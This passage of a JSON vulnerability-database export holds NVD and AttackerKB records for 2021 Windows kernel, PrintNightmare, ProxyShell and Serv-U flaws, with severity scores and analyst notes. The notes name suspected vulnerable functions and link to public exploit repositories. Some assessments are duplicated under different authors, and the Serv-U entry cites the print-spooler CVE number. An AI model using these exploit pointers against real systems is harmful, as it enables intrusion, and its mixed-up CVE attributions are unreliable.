"cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:30:37", "description": "Windows Kernel Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-34458.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T18:15:00", "type": "cve", "title": "CVE-2021-34508", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34458", "CVE-2021-34508"], "modified": "2021-07-19T18:05:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2016:2004"], "id": "CVE-2021-34508", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34508", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:30:28", "description": "Windows Kernel Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-34508.", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-16T21:15:00", "type": "cve", "title": "CVE-2021-34458", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34458", "CVE-2021-34508"], "modified": "2021-07-22T17:06:00", "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-34458", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34458", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*"]}], "attackerkb": [{"lastseen": "2023-05-27T17:21:07", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-34514.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 14, 2021 5:35pm UTC reported:\n\n**Update**: Looks like this was used by the exploit brokerage company Candiru along with CVE-2021-31979 to deliver spyware to targeted users, which according to Microsoft\u2019s blog post, affected at least 100 victims in Palestine, Israel, Iran, Lebanon, Yemen, Spain, United Kingdom, Turkey, Armenia, and Singapore. Victims include human rights defenders, dissidents, journalists, activists, and politicians.\n\nHmm interesting so this bug only affects Windows 8.1 and later according to <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>, despite also being disclosed in the same month as CVE-2021-31979, another bug that affected everything from Windows 7 and later onwards. Both bugs however affect the Windows Kernel and are being actively exploited in the wild for LPE.\n\nThere is little information on what actually is the issue here, although <https://twitter.com/mavillon1/status/1415149124064878593/> suggests that `MiFlashDataSecton`, `EtwpUpdatePeriodicCaptureState` and `AlpcpProcessSynchronousRequest` may be possible culprits and reviewing `AlpcpProcessSynchronousRequest` shows that a potential integer overflow was fixed.\n\nGiven that Microsoft also lists the attack complexity for both vulnerabilities as `Low` it seems likely that other researchers will find a way to replicate these vulnerabilities and create working PoCs for them, particularly given that they have been exploited in the wild. Based on this evidence, it is highly recommended to patch these issues as soon as possible.\n\nFurther updates will be made to this post if and when these CVEs are tied to specific vulnerable functions.\n\n**NinjaOperator** at July 13, 2021 7:53pm UTC reported:\n\n**Update**: Looks like this was used by the exploit brokerage company Candiru along with CVE-2021-31979 to deliver spyware to targeted users, which according to Microsoft\u2019s blog post, affected at least 100 victims in Palestine, Israel, Iran, Lebanon, Yemen, Spain, United Kingdom, Turkey, Armenia, and Singapore. Victims include human rights defenders, dissidents, journalists, activists, and politicians.\n\nHmm interesting so this bug only affects Windows 8.1 and later according to <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>, despite also being disclosed in the same month as CVE-2021-31979, another bug that affected everything from Windows 7 and later onwards. Both bugs however affect the Windows Kernel and are being actively exploited in the wild for LPE.\n\nThere is little information on what actually is the issue here, although <https://twitter.com/mavillon1/status/1415149124064878593/> suggests that `MiFlashDataSecton`, `EtwpUpdatePeriodicCaptureState` and `AlpcpProcessSynchronousRequest` may be possible culprits and reviewing `AlpcpProcessSynchronousRequest` shows that a potential integer overflow was fixed.\n\nGiven that Microsoft also lists the attack complexity for both vulnerabilities as `Low` it seems likely that other researchers will find a way to replicate these vulnerabilities and create working PoCs for them, particularly given that they have been exploited in the wild. Based on this evidence, it is highly recommended to patch these issues as soon as possible.\n\nFurther updates will be made to this post if and when these CVEs are tied to specific vulnerable functions.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "attackerkb", "title": "CVE-2021-33771", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2021-07-17T00:00:00", "id": "AKB:F285551F-85D9-4674-BAB6-921B4A20A97A", "href": "https://attackerkb.com/topics/GO6LySXvPZ/cve-2021-33771", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-02T03:30:53", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-33771.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "attackerkb", "title": "CVE-2021-34514", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2021-07-21T00:00:00", "id": "AKB:4A54845F-B7FC-431A-9835-BEE5172157DD", "href": "https://attackerkb.com/topics/ODOYq3RfvR/cve-2021-34514", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T17:21:07", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-33771, CVE-2021-34514.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 14, 2021 5:35pm UTC reported:\n\n**Update**: Looks like this was used by the exploit brokerage company Candiru along with CVE-2021-33771 to deliver spyware to targeted users, which according to Microsoft\u2019s blog post, affected at least 100 victims in Palestine, Israel, Iran, Lebanon, Yemen, Spain, United Kingdom, Turkey, Armenia, and Singapore. Victims include human rights defenders, dissidents, journalists, activists, and politicians.\n\nHmm, this is a particularly juicy bug as it seems to affect all Windows systems from Windows 7 up to the latest Windows 10. This is in contrast to CVE-2021-33771, which only affects Windows 8.1 and later. Both bugs affect the Windows Kernel and are being actively exploited in the wild for LPE.\n\nThere is little information on what actually is the issue here, although <https://twitter.com/mavillon1/status/1415149124064878593/> suggests that `MiFlashDataSecton`, `EtwpUpdatePeriodicCaptureState` and `AlpcpProcessSynchronousRequest` may be possible culprits and reviewing `AlpcpProcessSynchronousRequest` shows that a potential integer overflow was fixed.\n\nGiven that Microsoft also lists the attack complexity for both vulnerabilities as `Low` it seems likely that other researchers will find a way to replicate these vulnerabilities and create working PoCs for them, particularly given that they have been exploited in the wild. Based on this evidence, it is highly recommended to patch these issues as soon as possible.\n\nFurther updates will be made to this post if and when these CVEs are tied to specific vulnerable functions.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "attackerkb", "title": "CVE-2021-31979", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2021-07-17T00:00:00", "id": "AKB:2034EF9D-C938-410E-8DB8-9CDEB9C41A7A", "href": "https://attackerkb.com/topics/LzgAMbow02/cve-2021-31979", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-07T00:04:03", "description": "ProxyShell is an exploit chain targeting on-premise installations of Microsoft Exchange Server. It was demonstrated by Orange Tsai at Pwn2Own in April 2021 and is comprised of three CVEs that, when chained, allow a remote unauthenticated attacker to execute arbitrary code on vulnerable targets. The three CVEs are CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.\n\nDetails are available in Orange Tsai\u2019s [Black Hat USA 2020 talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) and follow-on [blog series](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>). ProxyShell is being broadly exploited in the wild as of August 12, 2021.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at August 12, 2021 9:19pm UTC reported:\n\nCheck out the [Rapid7 analysis](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) for details on the exploit chain. Seems like a lot of the PoC implementations so far are using admin mailboxes, but I\u2019d imagine folks are going to start finding ways around that soon.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "attackerkb", "title": "ProxyShell Exploit Chain", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "href": "https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-29T21:30:11", "description": "Scripting Engine Memory Corruption Vulnerability\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 14, 2021 5:02pm UTC reported:\n\nLooking at Microsoft\u2019s advisory at <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448> shows very little information other than that this is a scripting engine vulnerability which is exploitable across a wide range of Windows OS versions and is exploitable remotely. Further investigation though shows that Cisco Talos at <https://blog.talosintelligence.com/2021/07/microsoft-patch-tuesday-for-july-2021.html> mentions that this vulnerability is a memory corruption vulnerability triggered when opening a maliciously crafted email or visiting a malicious website.\n\nFurther examination of <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448> using the `Download` column (which is not enabled by default but can be added) shows several references to `IE Cumulative Update` which suggests this is potentially an IE related vulnerability. Further examination of past advisories named in the same way like <https://msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-0224> shows that IE scripting engine vulnerabilities are also referenced using the same style of language, so it would seem this is a memory corruption vulnerability within IE\u2019s scripting engine.\n\nUsers should ideally apply patches to fix this issue given it has been exploited in the wild already, however if this is not possible then users should disable JavaScript in their browsers as most scripting engine vulnerabilities rely on taking advantage of flaws in the JavaScript engine of a given browser, which requires the browser to have JavaScript enabled in the first place. Note that this will break the operation of most sites so patching is preferred where possible.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T00:00:00", "type": "attackerkb", "title": "CVE-2021-34448", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0224", "CVE-2021-34448"], "modified": "2021-07-23T00:00:00", "id": "AKB:25996325-FA5B-4DD4-ACED-28622F416D0A", "href": "https://attackerkb.com/topics/yMFDP6I1UQ/cve-2021-34448", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-07T00:05:47", "description": "Windows Print Spooler Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**kevthehermit** at June 30, 2021 1:53pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**andretorresbr** at July 02, 2021 2:37am UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**architect00** at July 01, 2021 1:46pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**NinjaOperator** at June 29, 2021 5:55pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**ccondon-r7** at July 01, 2021 1:43pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-1675", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2023-08-01T00:00:00", "id": "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9", "href": "https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:20:00", "description": "Microsoft discovered a remote code execution (RCE) vulnerability in the SolarWinds Serv-U product utilizing a Remote Memory Escape Vulnerability. If exploited, a threat actor may be able to gain privileged access to the machine hosting Serv-U Only. SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP for Windows before 15.2.3 HF2 are affected by this vulnerability.\n\n \n**Recent assessments:** \n \n**NinjaOperator** at July 12, 2021 4:00pm UTC reported:\n\nSolarWinds was recently notified by Microsoft of a security vulnerability (RCE) related to Serv-U Managed File Transfer Server and Serv-U Secured FTP and have developed a hotfix to resolve this vulnerability. While Microsoft\u2019s research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor, our joint teams have mobilized to address it quickly.\n\nThe vulnerability exists in the latest Serv-U version 15.2.3 HF1 released May 5, 2021, and all prior versions. A threat actor who successfully exploits CVE-2021-34527 can run arbitrary code with SYSTEM privileges and install programs; view, change, or delete data, and run programs.\n\n**wvu-r7** at July 22, 2021 4:35pm UTC reported:\n\nSolarWinds was recently notified by Microsoft of a security vulnerability (RCE) related to Serv-U Managed File Transfer Server and Serv-U Secured FTP and have developed a hotfix to resolve this vulnerability. While Microsoft\u2019s research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor, our joint teams have mobilized to address it quickly.\n\nThe vulnerability exists in the latest Serv-U version 15.2.3 HF1 released May 5, 2021, and all prior versions. A threat actor who successfully exploits CVE-2021-34527 can run arbitrary code with SYSTEM privileges and install programs; view, change, or delete data, and run programs.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-13T00:00:00", "type": "attackerkb", "title": "CVE-2021-35211", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-35211"], "modified": "2021-07-27T00:00:00", "id": "AKB:9ADF44D2-FA0D-4643-8B97-8B46983B6917", "href": "https://attackerkb.com/topics/Toj3cA6kd7/cve-2021-35211", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "prion": [{"lastseen": "2023-08-16T05:48:11", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-34514.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 